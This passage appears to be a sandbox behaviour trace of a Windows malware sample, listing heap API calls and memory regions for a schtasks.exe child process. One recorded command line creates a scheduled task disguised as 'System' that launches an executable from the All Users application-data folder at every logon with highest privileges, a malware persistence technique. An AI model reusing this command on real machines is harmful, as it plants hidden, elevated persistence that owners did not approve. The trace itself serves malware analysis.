(HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c18f30) returned 1 [0128.037] GetProcessHeap () returned 0x1eb77c10000 [0128.037] GetProcessHeap () returned 0x1eb77c10000 [0128.037] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c18de0) returned 1 [0128.037] GetProcessHeap () returned 0x1eb77c10000 [0128.037] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c18de0) returned 0x20 [0128.037] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c18de0) returned 1 [0128.037] GetProcessHeap () returned 0x1eb77c10000 [0128.037] GetProcessHeap () returned 0x1eb77c10000 [0128.037] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c18e40) returned 1 [0128.037] GetProcessHeap () returned 0x1eb77c10000 [0128.038] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c18e40) returned 0x20 [0128.038] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c18e40) returned 1 [0128.038] GetProcessHeap () returned 0x1eb77c10000 [0128.038] GetProcessHeap () returned 0x1eb77c10000 [0128.038] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c18f90) returned 1 [0128.038] GetProcessHeap () returned 0x1eb77c10000 [0128.038] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c18f90) returned 0x20 [0128.039] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c18f90) returned 1 [0128.039] GetProcessHeap () returned 0x1eb77c10000 [0128.039] GetProcessHeap () returned 0x1eb77c10000 [0128.039] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c18e70) returned 1 [0128.039] GetProcessHeap () returned 0x1eb77c10000 [0128.039] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c18e70) returned 0x20 [0128.039] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c18e70) returned 1 [0128.039] GetProcessHeap () returned 0x1eb77c10000 [0128.039] GetProcessHeap () returned 0x1eb77c10000 [0128.039] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14060) returned 1 [0128.040] GetProcessHeap () returned 0x1eb77c10000 [0128.040] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14060) returned 0x18 [0128.040] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14060) returned 1 [0128.040] GetProcessHeap () returned 0x1eb77c10000 [0128.040] GetProcessHeap () returned 0x1eb77c10000 [0128.040] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c19020) returned 1 [0128.040] GetProcessHeap () returned 0x1eb77c10000 [0128.040] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c19020) returned 0x20 [0128.040] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c19020) returned 1 [0128.040] GetProcessHeap () returned 0x1eb77c10000 [0128.040] GetProcessHeap () returned 0x1eb77c10000 [0128.040] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c14a50) returned 1 [0128.040] GetProcessHeap () returned 0x1eb77c10000 [0128.040] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c14a50) returned 0x18 [0128.040] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c14a50) returned 1 [0128.041] exit (_Code=0) Thread: id = 183 os_tid = 0xa8c Process: id = "34" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x7456e000" os_pid = "0x348" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"System\" /sc ONLOGON /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3657 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3658 start_va = 0x23b480000 end_va = 0x23b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000023b480000" filename = "" Region: id = 3659 start_va = 0x23b600000 end_va = 0x23b7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000023b600000" filename = "" Region: id = 3660 start_va = 0x10e05d30000 end_va = 0x10e05d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000010e05d30000" filename = "" Region: id = 3661 start_va = 0x10e05d50000 end_va = 0x10e05d64fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000010e05d50000" filename = "" Region: id = 3662 start_va = 0x10e05d70000 end_va = 0x10e05d73fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000010e05d70000" filename = "" Region: id = 3663 start_va = 0x10e05d80000 end_va = 0x10e05d80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000010e05d80000" filename = "" Region: id = 3664 start_va = 0x10e05d90000 end_va = 0x10e05d91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000010e05d90000" filename = "" Region: id = 3665 start_va = 0x7df5ff340000 end_va = 0x7ff5ff33ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff340000" filename = "" Region: id = 3666 start_va = 0x7ff6843f0000 end_va = 0x7ff684412fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6843f0000" filename = "" Region: id = 3667 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3668 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3669 start_va = 0x10e05da0000 end_va = 0x10e0603ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000010e05da0000" filename = "" Region: id = 3670 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3671 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3672 start_va = 0x10e05d30000 end_va = 0x10e05d3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000010e05d30000" filename = "" Region: id = 3673 start_va = 0x7ff6842f0000 end_va = 0x7ff6843effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6842f0000" filename = "" Region: id = 3674 start_va = 0x10e05da0000 end_va = 0x10e05e5dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3675 start_va = 0x10e05f40000 end_va = 0x10e0603ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000010e05f40000" filename = "" Region: id = 3676 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3677 start_va = 0x23b500000 end_va = 0x23b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000023b500000" filename = "" Region: id = 3678 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3679 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3680 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3681 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3682 start_va = 0x10e05e60000 end_va = 0x10e05f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000010e05e60000" filename = "" Region: id = 3683 start_va = 0x10e05d40000 end_va = 0x10e05d46fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000010e05d40000" filename = "" Region: id = 3684 start_va = 0x10e06040000 end_va = 0x10e06182fff monitored = 0 entry_point = 0x10e06068210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3685 start_va = 0x10e05e60000 end_va = 0x10e05e66fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000010e05e60000" filename = "" Region: id = 3686 start_va = 0x10e05f10000 end_va = 0x10e05f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000010e05f10000" filename = "" Region: id = 3687 start_va = 0x10e05e70000 end_va = 0x10e05e82fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3688 start_va = 0x10e06040000 end_va = 0x10e06376fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3689 start_va = 0x10e06380000 end_va = 0x10e0645cfff monitored = 0 entry_point = 0x10e063de0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3690 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3691 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3692 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3693 start_va = 0x10e05e90000 end_va = 0x10e05ec8fff monitored = 0 entry_point = 0x10e05e912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3694 start_va = 0x10e06380000 end_va = 0x10e06507fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000010e06380000" filename = "" Region: id = 3695 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3696 start_va = 0x10e05e90000 end_va = 0x10e05e90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000010e05e90000" filename = "" Region: id = 3697 start_va = 0x10e05ea0000 end_va = 0x10e05ea0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000010e05ea0000" filename = "" Region: id = 3698 start_va = 0x10e06510000 end_va = 0x10e06690fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000010e06510000" filename = "" Region: id = 3699 start_va = 0x10e066a0000 end_va = 0x10e07a9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000010e066a0000" filename = "" Region: id = 3700 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3701 start_va = 0x10e05eb0000 end_va = 0x10e05eb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000010e05eb0000" filename = "" Region: id = 3702 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3703 start_va = 0x10e05ec0000 end_va = 0x10e05ec0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000010e05ec0000" filename = "" Region: id = 3704 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3705 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3759 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 184 os_tid = 0x28c [0128.346] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0128.346] __set_app_type (_Type=0x1) [0128.346] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0128.346] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0128.347] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0128.347] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0128.347] CsrIdentifyAlertableThread () returned 0x0 [0128.347] GetProcessHeap () returned 0x10e05f40000 [0128.347] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44e90 [0128.347] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.348] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0128.348] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0128.348] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0128.348] RtlVerifyVersionInfo (VersionInfo=0x23b4ff6e0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0128.348] GetProcessHeap () returned 0x10e05f40000 [0128.348] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44eb0 [0128.348] lstrlenW (lpString="") returned 0 [0128.348] GetProcessHeap () returned 0x10e05f40000 [0128.348] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x2) returned 0x10e05f44ed0 [0128.348] GetProcessHeap () returned 0x10e05f40000 [0128.348] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f44840 [0128.348] GetProcessHeap () returned 0x10e05f40000 [0128.348] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44870 [0128.348] GetProcessHeap () returned 0x10e05f40000 [0128.348] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f44890 [0128.348] GetProcessHeap () returned 0x10e05f40000 [0128.348] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f448c0 [0128.348] GetProcessHeap () returned 0x10e05f40000 [0128.348] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f44430 [0128.349] GetProcessHeap () returned 0x10e05f40000 [0128.349] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f490e0 [0128.349] GetProcessHeap () returned 0x10e05f40000 [0128.349] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44460 [0128.349] GetProcessHeap () returned 0x10e05f40000 [0128.349] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f49020 [0128.349] GetProcessHeap () returned 0x10e05f40000 [0128.349] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f49170 [0128.349] GetProcessHeap () returned 0x10e05f40000 [0128.349] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f49110 [0128.349] GetProcessHeap () returned 0x10e05f40000 [0128.349] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f48fc0 [0128.349] GetProcessHeap () returned 0x10e05f40000 [0128.349] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44480 [0128.349] GetProcessHeap () returned 0x10e05f40000 [0128.349] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f48f90 [0128.349] GetProcessHeap () returned 0x10e05f40000 [0128.349] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f48e70 [0128.349] GetProcessHeap () returned 0x10e05f40000 [0128.350] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f48f60 [0128.350] GetProcessHeap () returned 0x10e05f40000 [0128.350] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f49140 [0128.350] SetThreadUILanguage (LangId=0x0) returned 0x409 [0128.352] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.352] GetProcessHeap () returned 0x10e05f40000 [0128.352] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f491d0 [0128.352] GetProcessHeap () returned 0x10e05f40000 [0128.352] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f48ff0 [0128.352] GetProcessHeap () returned 0x10e05f40000 [0128.352] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f48ea0 [0128.352] GetProcessHeap () returned 0x10e05f40000 [0128.352] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f49050 [0128.352] GetProcessHeap () returned 0x10e05f40000 [0128.352] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f48ed0 [0128.352] GetProcessHeap () returned 0x10e05f40000 [0128.352] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44c30 [0128.352] _memicmp (_Buf1=0x10e05f44c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.352] GetProcessHeap () returned 0x10e05f40000 [0128.352] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x208) returned 0x10e05f49b10 [0128.352] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x10e05f49b10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0128.352] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x23b4ff838 | out: lpdwHandle=0x23b4ff838) returned 0x76c [0128.381] GetProcessHeap () returned 0x10e05f40000 [0128.381] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x776) returned 0x10e05f4a870 [0128.381] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x10e05f4a870 | out: lpData=0x10e05f4a870) returned 1 [0128.381] VerQueryValueW (in: pBlock=0x10e05f4a870, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23b4ff7d0, puLen=0x23b4ff830 | out: lplpBuffer=0x23b4ff7d0*=0x10e05f4ac20, puLen=0x23b4ff830) returned 1 [0128.384] _memicmp (_Buf1=0x10e05f44c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.384] _vsnwprintf (in: _Buffer=0x10e05f49b10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23b4ff7a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0128.385] VerQueryValueW (in: pBlock=0x10e05f4a870, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23b4ff7c0, puLen=0x23b4ff828 | out: lplpBuffer=0x23b4ff7c0*=0x10e05f4aa50, puLen=0x23b4ff828) returned 1 [0128.385] lstrlenW (lpString="schtasks.exe") returned 12 [0128.385] lstrlenW (lpString="schtasks.exe") returned 12 [0128.385] lstrlenW (lpString=".EXE") returned 4 [0128.385] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0128.385] lstrlenW (lpString="schtasks.exe") returned 12 [0128.385] lstrlenW (lpString=".EXE") returned 4 [0128.385] _memicmp (_Buf1=0x10e05f44c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.385] lstrlenW (lpString="schtasks") returned 8 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f490b0 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f48f30 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b5c0 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b740 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44c50 [0128.386] _memicmp (_Buf1=0x10e05f44c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0xa0) returned 0x10e05f43870 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4baa0 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b6e0 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b3e0 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44c70 [0128.386] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.386] GetProcessHeap () returned 0x10e05f40000 [0128.386] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x200) returned 0x10e05f4bb40 [0128.386] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0128.387] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0128.387] GetProcessHeap () returned 0x10e05f40000 [0128.387] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x30) returned 0x10e05f43920 [0128.387] _vsnwprintf (in: _Buffer=0x10e05f43870, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23b4ff7a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0128.387] GetProcessHeap () returned 0x10e05f40000 [0128.387] GetProcessHeap () returned 0x10e05f40000 [0128.387] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4a870) returned 1 [0128.387] GetProcessHeap () returned 0x10e05f40000 [0128.387] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4a870) returned 0x776 [0128.388] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4a870) returned 1 [0128.388] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.388] GetThreadLocale () returned 0x409 [0128.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.388] lstrlenW (lpString="?") returned 1 [0128.388] GetThreadLocale () returned 0x409 [0128.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.389] lstrlenW (lpString="create") returned 6 [0128.389] GetThreadLocale () returned 0x409 [0128.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.389] lstrlenW (lpString="delete") returned 6 [0128.389] GetThreadLocale () returned 0x409 [0128.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.389] lstrlenW (lpString="query") returned 5 [0128.389] GetThreadLocale () returned 0x409 [0128.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.389] lstrlenW (lpString="change") returned 6 [0128.389] GetThreadLocale () returned 0x409 [0128.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.389] lstrlenW (lpString="run") returned 3 [0128.389] GetThreadLocale () returned 0x409 [0128.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.389] lstrlenW (lpString="end") returned 3 [0128.389] GetThreadLocale () returned 0x409 [0128.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.389] lstrlenW (lpString="showsid") returned 7 [0128.389] GetThreadLocale () 